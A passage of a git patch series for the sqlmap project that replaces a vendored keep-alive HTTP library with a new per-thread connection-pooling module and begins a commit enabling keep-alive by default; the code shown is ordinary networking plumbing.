(offline); see section 11 | -| `thirdparty/` | vendored dependencies (six, bottle, keepalive, chardet, ...) - no pip at runtime | +| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime | | `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | --- @@ -179,7 +179,7 @@ Enumeration is DBMS-agnostic at the top and specialized underneath: `lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, -keep-alive via `thirdparty/keepalive`), response processing (`basic.py`), and the +persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the comparison oracle (`comparison.py`). **Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index d499d525d..f2c10e272 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `KeepAlive` library located under `thirdparty/keepalive/`. - Copyright (C) 2002-2003, Michael D. Stenner. * The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. diff --git a/lib/core/option.py b/lib/core/option.py index 0b817422e..571bae50d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -145,6 +145,8 @@ from lib.request.chunkedhandler import ChunkedHandler from lib.request.connect import Connect as Request from lib.request.dns import DNSServer from lib.request.httpshandler import HTTPSHandler +from lib.request.keepalive import HTTPKeepAliveHandler +from lib.request.keepalive import HTTPSKeepAliveHandler from lib.request.pkihandler import HTTPSPKIAuthHandler from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler @@ -154,7 +156,6 @@ from lib.utils.har import HTTPCollectorFactory from lib.utils.purge import purge from lib.utils.search import search from thirdparty import six -from thirdparty.keepalive import keepalive from thirdparty.multipart import multipartpost from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import http_client as _http_client @@ -166,7 +167,8 @@ from xml.etree.ElementTree import ElementTree authHandler = _urllib.request.BaseHandler() chunkedHandler = ChunkedHandler() httpsHandler = HTTPSHandler() -keepAliveHandler = keepalive.HTTPHandler() +keepAliveHandler = HTTPKeepAliveHandler() +keepAliveHandlerHTTPS = HTTPSKeepAliveHandler() proxyHandler = _urllib.request.ProxyHandler() redirectHandler = SmartRedirectHandler() rangeHandler = HTTPRangeHandler() @@ -1250,7 +1252,12 @@ def _setHTTPHandlers(): warnMsg += "with authentication methods" logger.warning(warnMsg) else: + # Note: persistent connections for both HTTP and HTTPS; the keep-alive + # HTTPS handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" diff --git a/lib/core/settings.py b/lib/core/settings.py index 451a0bc62..06a808e62 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.132" +VERSION = "1.10.6.133" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -833,6 +833,12 @@ MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 +# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled +KEEPALIVE_MAX_REQUESTS = 1000 + +# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled +KEEPALIVE_IDLE_TIMEOUT = 30 + # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py new file mode 100644 index 000000000..4e300cf2e --- /dev/null +++ b/lib/request/keepalive.py @@ -0,0 +1,266 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import socket +import threading +import time + +from lib.core.data import conf +from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT +from lib.core.settings import KEEPALIVE_MAX_REQUESTS +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle +# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up +HANDLE_ERRORS = 0 + +class _ConnectionPool(threading.local): + """ + Per-thread pool of reusable persistent connections. + + Keeping one connection per (scheme, host) and per worker thread is what + keeps Keep-Alive safe under '--threads': a socket is never shared between + threads, so concurrent requests can never interleave on the same wire (the + classic cause of response desynchronization). Synchronous reuse within a + single thread is fine because the previous response is always fully drained + before the next request is issued (see L{_KeepAliveResponseMixin}). + """ + + def __init__(self): + self.conns = {} # key -> [connection, request_count, last_used] + +class _KeepAliveHandler(object): + def __init__(self): + self._pool = _ConnectionPool() + + def _take(self, key): + """ + Returns a (still usable) pooled connection for L{key} or None + """ + + entry = self._pool.conns.pop(key, None) + + if entry is not None: + conn, count, last = entry + if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS: + return conn, count + + # Too old or too heavily used; drop it + try: + conn.close() + except Exception: + pass + + return None, 0 + + def _give_back(self, key, conn, count): + self._pool.conns[key] = [conn, count, time.time()] + + def do_open(self, req): + # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since + # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 + host = req.host if hasattr(req, "host") else req.get_host() + + if not host: + raise _urllib.error.URLError("no host given") + + key = "%s://%s" % (self._scheme, host) + + conn, count = self._take(key) + reused = conn is not None + + try: + if reused: + # A pooled socket may have been closed by the server in the + # meantime; treat any failure (or a bogus HTTP/0.9 reply, which + # is httplib's tell-tale for a dead socket) as a stale connection + try: + self._send_request(conn, req) + response = conn.getresponse() + if response is None or getattr(response, "version", 0) == 9: + raise _http_client.HTTPException("stale connection") + except (socket.error, _http_client.HTTPException): + try: + conn.close() + except Exception: + pass + conn = None + reused = False + + if conn is None: + conn = self._get_connection(host) + count = 0 + self._send_request(conn, req) + response = conn.getresponse() + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + count += 1 + + # Honor an explicit 'Connection: close' even when L{will_close} wasn't set + willClose = response.will_close + if not willClose: + try: + headers = getattr(response, "msg", None) or getattr(response, "headers", None) + value = headers.get("connection") or headers.get("Connection") if headers else None + if value and "close" in value.lower(): + willClose = True + except Exception: + pass + + keep = not willClose and count < KEEPALIVE_MAX_REQUESTS + + self._adapt(response, req.get_full_url()) + self._instrument(response, key, conn, count, keep) + + if response.status == 200 or not HANDLE_ERRORS: + return response + else: + return self.parent.error("http", req, response, response.status, response.reason, response.headers) + + def _adapt(self, response, url): + """ + Makes a raw httplib response indistinguishable from the object normally + returned by C{urlopen} (the surface the rest of sqlmap relies on) + """ + + headers = getattr(response, "headers", None) + if headers is None: + headers = response.msg # Python 2: msg holds the parsed headers + + response.url = url + response.code = response.status + response.headers = headers + + if not hasattr(response, "info"): + response.info = lambda headers=headers: headers + if not hasattr(response, "geturl"): + response.geturl = lambda url=url: url + if not hasattr(response, "getcode"): + response.getcode = lambda response=response: response.status + + # Note: must come last as on Python 3 'msg' initially aliases the headers + response.msg = response.reason + + def _instrument(self, response, key, conn, count, keep): + """ + Returns the connection to the pool once (and only once) its body has been + fully consumed; otherwise the socket is closed. A partially read response + (e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such + a connection is never reused. + """ + + state = {"handled": False} + _read = response.read + _close = response.close + + def drained(): + checker = getattr(response, "isclosed", None) + if callable(checker): + try: + return checker() + except Exception: + return False + return getattr(response, "fp", None) is None + + def settle(): + # Once (and only once) the body is fully drained, decide the socket's fate + if state["handled"] or not drained(): + return + state["handled"] = True + if keep: + self._give_back(key, conn, count) + else: + try: + conn.close() + except Exception: + pass + + def read(*args, **kwargs): + data = _read(*args, **kwargs) + settle() + return data + + def close(): + # Note: on Python 2 httplib.read() calls close() itself upon EOF + _close() + settle() + if not state["handled"]: + # Closed before the body was fully consumed; unsafe to reuse + state["handled"] = True + try: + conn.close() + except Exception: + pass + + response.read = read + response.close = close + +class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler): + _scheme = "http" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def http_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + return _http_client.HTTPConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler): + _scheme = "https" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def https_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + # Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py) + from lib.request.httpshandler import HTTPSConnection + from lib.request.httpshandler import ssl + return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +def _sendRequest(conn, req): + """ + Issues L{req} on the (possibly reused) low-level connection L{conn} + """ + + data = getattr(req, "data", None) + method = req.get_method() or ("POST" if data is not None else "GET") + selector = req.selector if hasattr(req, "selector") else req.get_selector() + + try: + conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + + if data is not None: + if not req.has_header("Content-type"): + conn.putheader("Content-type", "application/x-www-form-urlencoded") + if not req.has_header("Content-length"): + conn.putheader("Content-length", "%d" % len(data)) + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + if not req.has_header("Connection"): + conn.putheader("Connection", "keep-alive") + + for key, value in req.header_items(): + conn.putheader(key, value) + + conn.endheaders() + + if data is not None: + conn.send(data) diff --git a/thirdparty/keepalive/__init__.py b/thirdparty/keepalive/__init__.py deleted file mode 100644 index 08a0be4d9..000000000 --- a/thirdparty/keepalive/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python -# -# Copyright 2002-2003 Michael D. Stenner -# -# This program is free software: you can redistribute it and/or modify it -# under the terms of the GNU Lesser General Public License as published -# by the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public License -# along with this program. If not, see . -# - -pass diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py deleted file mode 100644 index f0d592b18..000000000 --- a/thirdparty/keepalive/keepalive.py +++ /dev/null @@ -1,671 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the -# Free Software Foundation, Inc., -# 59 Temple Place, Suite 330, -# Boston, MA 02111-1307 USA - -# This file was part of urlgrabber, a high-level cross-protocol url-grabber -# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko -# Copyright 2015 Sergio Fernández - -"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. - ->>> import urllib2 ->>> from keepalive import HTTPHandler ->>> keepalive_handler = HTTPHandler() ->>> opener = _urllib.request.build_opener(keepalive_handler) ->>> _urllib.request.install_opener(opener) ->>> ->>> fo = _urllib.request.urlopen('http://www.python.org') - -If a connection to a given host is requested, and all of the existing -connections are still in use, another connection will be opened. If -the handler tries to use an existing connection but it fails in some -way, it will be closed and removed from the pool. - -To remove the handler, simply re-run build_opener with no arguments, and -install that opener. - -You can explicitly close connections by using the close_connection() -method of the returned file-like object (described below) or you can -use the handler methods: - - close_connection(host) - close_all() - open_connections() - -NOTE: using the close_connection and close_all methods of the handler -should be done with care when using multiple threads. - * there is nothing that prevents another thread from creating new - connections immediately after connections are closed - * no checks are done to prevent in-use connections from being closed - ->>> keepalive_handler.close_all() - -EXTRA ATTRIBUTES AND METHODS - - Upon a status of 200, the object returned has a few additional - attributes and methods, which should not be used if you want to - remain consistent with the normal urllib2-returned objects: - - close_connection() - close the connection to the host - readlines() - you know, readlines() - status - the return status (ie 404) - reason - english translation of status (ie 'File not found') - - If you want the best of both worlds, use this inside an - AttributeError-catching try: - - >>> try: status = fo.status - >>> except AttributeError: status = None - - Unfortunately, these are ONLY there if status == 200, so it's not - easy to distinguish between non-200 responses. The reason is that - urllib2 tries to do clever things with error codes 301, 302, 401, - and 407, and it wraps the object upon return. - - For python versions earlier than 2.4, you can avoid this fancy error - handling by setting the module-level global HANDLE_ERRORS to zero. - You see, prior to 2.4, it's the HTTP Handler's job to determine what - to handle specially, and what to just pass up. HANDLE_ERRORS == 0 - means "pass everything up". In python 2.4, however, this job no - longer belongs to the HTTP Handler and is now done by a NEW handler, - HTTPErrorProcessor. Here's the bottom line: - - python version < 2.4 - HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as - errors - HANDLE_ERRORS == 0 pass everything up, error processing is - left to the calling code - python version >= 2.4 - HANDLE_ERRORS == 1 pass up 200, treat the rest as errors - HANDLE_ERRORS == 0 (default) pass everything up, let the - other handlers (specifically, - HTTPErrorProcessor) decide what to do - - In practice, setting the variable either way makes little difference - in python 2.4, so for the most consistent behavior across versions, - you probably just want to use the defaults, which will give you - exceptions on errors. - -""" - -from __future__ import print_function - -try: - from thirdparty.six.moves import http_client as _http_client - from thirdparty.six.moves import range as _range - from thirdparty.six.moves import urllib as _urllib -except ImportError: - from six.moves import http_client as _http_client - from six.moves import range as _range - from six.moves import urllib as _urllib - -import socket -import threading - -DEBUG = None - -import sys -if sys.version_info < (2, 4): HANDLE_ERRORS = 1 -else: HANDLE_ERRORS = 0 - -class ConnectionManager: - """ - The connection manager must be able to: - * keep track of all existing - """ - def __init__(self): - self._lock = threading.Lock() - self._hostmap = {} # map hosts to a list of connections - self._connmap = {} # map connections to host - self._readymap = {} # map connection to ready state - - def add(self, host, connection, ready): - self._lock.acquire() - try: - if host not in self._hostmap: self._hostmap[host] = [] - self._hostmap[host].append(connection) - self._connmap[connection] = host - self._readymap[connection] = ready - finally: - self._lock.release() - - def remove(self, connection): - self._lock.acquire() - try: - try: - host = self._connmap[connection] - except KeyError: - pass - else: - del self._connmap[connection] - del self._readymap[connection] - try: - self._hostmap[host].remove(connection) - except ValueError: - pass - if not self._hostmap[host]: del self._hostmap[host] - finally: - self._lock.release() - - def set_ready(self, connection, ready): - self._lock.acquire() - try: - if connection in self._readymap: self._readymap[connection] = ready - finally: - self._lock.release() - - def get_ready_conn(self, host): - conn = None - try: - self._lock.acquire() - if host in self._hostmap: - for c in self._hostmap[host]: - if self._readymap.get(c): - self._readymap[c] = 0 - conn = c - break - finally: - self._lock.release() - return conn - - def get_all(self, host=None): - self._lock.acquire() - try: - if host: - return list(self._hostmap.get(host, [])) - else: - return dict(self._hostmap) - finally: - self._lock.release() - -class KeepAliveHandler: - def __init__(self): - self._cm = ConnectionManager() - - #### Connection Management - def open_connections(self): - """return a list of connected hosts and the number of connections - to each. [('foo.com:80', 2), ('bar.org', 1)]""" - return [(host, len(li)) for (host, li) in self._cm.get_all().items()] - - def close_connection(self, host): - """close connection(s) to - host is the host:port spec, as in 'www.cnn.com:8080' as passed in. - no error occurs if there is no connection to that host.""" - for h in self._cm.get_all(host): - self._cm.remove(h) - h.close() - - def close_all(self): - """close all open connections""" - for host, conns in self._cm.get_all().items(): - for h in conns: - self._cm.remove(h) - h.close() - - def _request_closed(self, request, host, connection): - """tells us that this request is now closed and the the - connection is ready for another request""" - self._cm.set_ready(connection, 1) - - def _remove_connection(self, host, connection, close=0): - if close: connection.close() - self._cm.remove(connection) - - #### Transaction Execution - def do_open(self, req): - host = req.host - if not host: - raise _urllib.error.URLError('no host given') - - try: - h = self._cm.get_ready_conn(host) - while h: - r = self._reuse_connection(h, req, host) - - # if this response is non-None, then it worked and we're - # done. Break out, skipping the else block. - if r: break - - # connection is bad - possibly closed by server - # discard it and ask for the next free connection - h.close() - self._cm.remove(h) - h = self._cm.get_ready_conn(host) - else: - # no (working) free connections were found. Create a new one. - h = self._get_connection(host) - if DEBUG: DEBUG.info("creating new connection to %s (%d)", - host, id(h)) - self._start_transaction(h, req) - r = h.getresponse() - self._cm.add(host, h, 0) - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) - - if not r.will_close: - try: - headers = getattr(r, 'msg', None) - if headers: - c_head = headers.get("connection") - if c_head and "close" in c_head.lower(): - r.will_close = True - except Exception: - pass - - # if not a persistent connection, don't try to reuse it - if r.will_close: - if DEBUG: DEBUG.info('server will close connection, discarding') - self._cm.remove(h) - h.close() - - r._handler = self - r._host = host - r._url = req.get_full_url() - r._connection = h - r.code = r.status - r.headers = r.msg - - if r.status == 200 or not HANDLE_ERRORS: - return r - else: - return self.parent.error('http', req, r, - r.status, r.reason, r.headers) - - def _reuse_connection(self, h, req, host): - """start the transaction with a re-used connection - return a response object (r) upon success or None on failure. - This DOES not close or remove bad connections in cases where - it returns. However, if an unexpected exception occurs, it - will close and remove the connection before re-raising. - """ - try: - self._start_transaction(h, req) - r = h.getresponse() - # note: just because we got something back doesn't mean it - # worked. We'll check the version below, too. - except (socket.error, _http_client.HTTPException): - r = None - except Exception: - # adding this block just in case we've missed - # something we will still raise the exception, but - # lets try and close the connection and remove it - # first. We previously got into a nasty loop - # where an exception was uncaught, and so the - # connection stayed open. On the next try, the - # same exception was raised, etc. The tradeoff is - # that it's now possible this call will raise - # a DIFFERENT exception - if DEBUG: DEBUG.error("unexpected exception - closing " + \ - "connection to %s (%d)", host, id(h)) - self._cm.remove(h) - h.close() - raise - - if r is None or r.version == 9: - # httplib falls back to assuming HTTP 0.9 if it gets a - # bad header back. This is most likely to happen if - # the socket has been closed by the server since we - # last used the connection. - if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)", - host, id(h)) - r = None - else: - if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h)) - - return r - - def _start_transaction(self, h, req): - try: - if req.data: - data = req.data - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if 'Content-type' not in req.headers: - h.putheader('Content-type', - 'application/x-www-form-urlencoded') - if 'Content-length' not in req.headers: - h.putheader('Content-length', '%d' % len(data)) - else: - if hasattr(req, 'selector'): - h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - else: - h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, _http_client.HTTPException) as err: - raise _urllib.error.URLError(err) - - if 'Connection' not in req.headers: - h.putheader('Connection', 'keep-alive') - - for args in self.parent.addheaders: - if args[0] not in req.headers: - h.putheader(*args) - for k, v in req.headers.items(): - h.putheader(k, v) - h.endheaders() - if req.data: - h.send(req.data) - - def _get_connection(self, host): - raise NotImplementedError() - -class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): - def __init__(self): - KeepAliveHandler.__init__(self) - - def http_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - return HTTPConnection(host) - -class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): - def __init__(self, ssl_factory=None): - KeepAliveHandler.__init__(self) - if not ssl_factory: - try: - import sslfactory - ssl_factory = sslfactory.get_factory() - except ImportError: - pass - self._ssl_factory = ssl_factory - - def https_open(self, req): - return self.do_open(req) - - def _get_connection(self, host): - if self._ssl_factory: - return self._ssl_factory.get_https_connection(host) - else: - return HTTPSConnection(host) - -class HTTPResponse(_http_client.HTTPResponse): - # we need to subclass HTTPResponse in order to - # 1) add readline() and readlines() methods - # 2) add close_connection() methods - # 3) add info() and geturl() methods - - # in order to add readline(), read must be modified to deal with a - # buffer. example: readline must read a buffer and then spit back - # one line at a time. The only real alternative is to read one - # BYTE at a time (ick). Once something has been read, it can't be - # put back (ok, maybe it can, but that's even uglier than this), - # so if you THEN do a normal read, you must first take stuff from - # the buffer. - - # the read method wraps the original to accomodate buffering, - # although read() never adds to the buffer. - # Both readline and readlines have been stolen with almost no - # modification from socket.py - - - def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: - _http_client.HTTPResponse.__init__(self, sock, debuglevel, method=method) - else: - _http_client.HTTPResponse.__init__(self, sock, debuglevel) - self.fileno = sock.fileno - self.code = None - self._method = method - self._rbuf = b"" - self._rbufsize = 8096 - self._handler = None # inserted by the handler later - self._host = None # (same) - self._url = None # (same) - self._connection = None # (same) - - _raw_read = _http_client.HTTPResponse.read - - def close(self): - if self.fp: - self.fp.close() - self.fp = None - if self._handler: - self._handler._request_closed(self, self._host, - self._connection) - - # Note: Patch for Python3 (otherwise, connections won't be reusable) - def _close_conn(self): - self.close() - - def close_connection(self): - self._handler._remove_connection(self._host, self._connection, close=1) - self.close() - - def info(self): - return self.headers - - def geturl(self): - return self._url - - def read(self, amt=None): - # the _rbuf test is only in this first if for speed. It's not - # logically necessary - if self._rbuf and not amt is None: - L = len(self._rbuf) - if amt > L: - amt -= L - else: - s = self._rbuf[:amt] - self._rbuf = self._rbuf[amt:] - return s - - s = self._rbuf + self._raw_read(amt) - self._rbuf = b"" - return s - - def readline(self, limit=-1): - data = b"" - i = self._rbuf.find(b'\n') - while i < 0 and not (0 < limit <= len(self._rbuf)): - new = self._raw_read(self._rbufsize) - if not new: break - i = new.find(b'\n') - if i >= 0: i = i + len(self._rbuf) - self._rbuf = self._rbuf + new - if i < 0: i = len(self._rbuf) - else: i = i+1 - if 0 <= limit < len(self._rbuf): i = limit - data, self._rbuf = self._rbuf[:i], self._rbuf[i:] - return data - - def readlines(self, sizehint = 0): - total = 0 - lines = [] - while 1: - line = self.readline() - if not line: break - lines.append(line) - total += len(line) - if sizehint and total >= sizehint: - break - return lines - - -class HTTPConnection(_http_client.HTTPConnection): - # use the modified response class - response_class = HTTPResponse - -class HTTPSConnection(_http_client.HTTPSConnection): - response_class = HTTPResponse - -######################################################################### -##### TEST FUNCTIONS -######################################################################### - -def error_handler(url): - global HANDLE_ERRORS - orig = HANDLE_ERRORS - keepalive_handler = HTTPHandler() - opener = _urllib.request.build_opener(keepalive_handler) - _urllib.request.install_opener(opener) - pos = {0: 'off', 1: 'on'} - for i in (0, 1): - print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) - HANDLE_ERRORS = i - try: - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - try: status, reason = fo.status, fo.reason - except AttributeError: status, reason = None, None - except IOError as e: - print(" EXCEPTION: %s" % e) - raise - else: - print(" status = %s, reason = %s" % (status, reason)) - HANDLE_ERRORS = orig - hosts = keepalive_handler.open_connections() - print("open connections:", hosts) - keepalive_handler.close_all() - -def continuity(url): - from hashlib import md5 - format = '%25s: %s' - - # first fetch the file with the normal http handler - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('normal urllib', m.hexdigest())) - - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('keepalive read', m.hexdigest())) - - fo = _urllib.request.urlopen(url) - foo = b'' - while 1: - f = fo.readline() - if f: foo += f - else: break - fo.close() - m = md5(foo) - print(format % ('keepalive readline', m.hexdigest())) - -def comp(N, url): - print(' making %i connections to:\n %s' % (N, url)) - - sys.stdout.write(' first using the normal urllib handlers') - # first use normal opener - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - t1 = fetch(N, url) - print(' TIME: %.3f s' % t1) - - sys.stdout.write(' now using the keepalive handler ') - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - t2 = fetch(N, url) - print(' TIME: %.3f s' % t2) - print(' improvement factor: %.2f' % (t1/t2, )) - -def fetch(N, url, delay=0): - import time - lens = [] - starttime = time.time() - for i in _range(N): - if delay and i > 0: time.sleep(delay) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - lens.append(len(foo)) - diff = time.time() - starttime - - j = 0 - for i in lens[1:]: - j = j + 1 - if not i == lens[0]: - print("WARNING: inconsistent length on read %i: %i" % (j, i)) - - return diff - -def test_timeout(url): - global DEBUG - dbbackup = DEBUG - class FakeLogger: - def debug(self, msg, *args): print(msg % args) - info = warning = error = debug - DEBUG = FakeLogger() - print(" fetching the file to establish a connection") - fo = _urllib.request.urlopen(url) - data1 = fo.read() - fo.close() - - i = 20 - print(" waiting %i seconds for the server to close the connection" % i) - while i > 0: - sys.stdout.write('\r %2i' % i) - sys.stdout.flush() - time.sleep(1) - i -= 1 - sys.stderr.write('\r') - - print(" fetching the file a second time") - fo = _urllib.request.urlopen(url) - data2 = fo.read() - fo.close() - - if data1 == data2: - print(' data are identical') - else: - print(' ERROR: DATA DIFFER') - - DEBUG = dbbackup - - -def test(url, N=10): - print("checking error hander (do this on a non-200)") - try: error_handler(url) - except IOError as e: - print("exiting - exception will prevent further tests") - sys.exit() - print() - print("performing continuity test (making sure stuff isn't corrupted)") - continuity(url) - print() - print("performing speed comparison") - comp(N, url) - print() - print("performing dropped-connection check") - test_timeout(url) - -if __name__ == '__main__': - import time - import sys - try: - N = int(sys.argv[1]) - url = sys.argv[2] - except: - print("%s " % sys.argv[0]) - else: - test(url, N) From 9d653d2d50d77ec975859928b612564394d0abd2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 01:59:23 +0200 Subject: [PATCH 039/165] Making Keep-Alive on by default --- data/txt/sha256sums.txt | 14 +++++++------- lib/core/common.py | 2 +- lib/core/option.py | 31 +++++++++++++++--------------- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 5 +++-- lib/request/keepalive.py | 41 ++++++++++++++++++++++++++++++++++++++++ 8 files changed, 70 insertions(+), 28 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 078df0a9a..1059767f5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -c6dee43458e55d4e20bbd04a63efd4cbe839f3fce1d60de2673d85462d0718bd lib/core/common.py +e55201cbaa05aac7091cccda361963a74635172bdd9d403feeadf400e09a14cf lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -598f48639bcc7bb665a2adc538e5349999de620ea9ed5a821f89a823dc5fa093 lib/core/option.py +b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py +c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 